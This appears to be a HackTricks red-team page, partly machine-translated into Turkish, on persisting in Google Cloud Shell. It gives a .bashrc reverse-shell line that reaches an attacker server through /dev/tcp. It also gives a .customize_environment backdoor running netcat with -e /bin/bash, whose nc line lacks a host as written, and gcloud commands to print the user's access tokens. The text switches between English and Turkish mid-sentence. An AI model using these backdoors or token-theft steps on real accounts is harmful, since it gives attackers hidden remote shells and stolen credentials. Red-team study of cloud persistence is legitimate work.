GCP - Cloud Shell Persistence

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell tarayıcınızdan herhangi bir maliyet olmadan bulut kaynaklarınıza komut satırı erişimi sağlar.

You can access Google’s Cloud Shell from the web console or running gcloud cloud-shell ssh.

This console has some interesting capabilities for attackers:

  1. Any Google user with access to Google Cloud erişimi olan herhangi bir Google kullanıcısı tam kimlik doğrulamalı bir Cloud Shell örneğine erişebilir (Service Accounts can, even being Owners of the org).
  2. Belirtilen örnek, hiçbir etkinlik olmazsa home dizinini en az 120 gün korur.
  3. Bir kuruluşun bu örneğin etkinliğini izleme yeteneği yoktur.

Bu, bir saldırganın kullanıcının home dizinine bir backdoor yerleştirebileceği ve kullanıcı en az her 120 günde bir GC Shell’e bağlandığı sürece backdoor’un hayatta kalacağı, saldırganın da her çalıştırıldığında sadece aşağıdakini yaparak bir shell elde edeceği anlamına gelir:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Ev dizininde .customize_environment adlı başka bir dosya var; eğer mevcutsa, kullanıcı cloud shell’e her eriştiğinde çalıştırılacaktır (önceki teknik gibi). Önceki backdoor’u veya aşağıdakine benzer birini ekleyin; böylece kullanıcı cloud shell’i “sıkça” kullandığı sürece kalıcılığı korursunuz:

Oluştur .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Kimlik doğrulama gerektiren bir işlemin ilk kez gerçekleştirildiğini belirtmek önemlidir; kullanıcının tarayıcısında bir yetkilendirme açılır penceresi görünür. Bu pencere komutun çalışmasından önce kabul edilmelidir. Beklenmeyen bir açılır pencere görünmesi şüphe yaratabilir ve kullanılan persistence yöntemini tehlikeye atabilir.

This is the pop-up from executing gcloud projects list from the Cloud Shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can kullanıcının tokenlerini toplamak için:

Cloud Shell'den access tokens alın ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

SSH bağlantısı nasıl kurulur

Temelde bu 3 API çağrısı kullanılır:

Ama daha fazla bilgi için şuraya bakabilirsiniz: https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin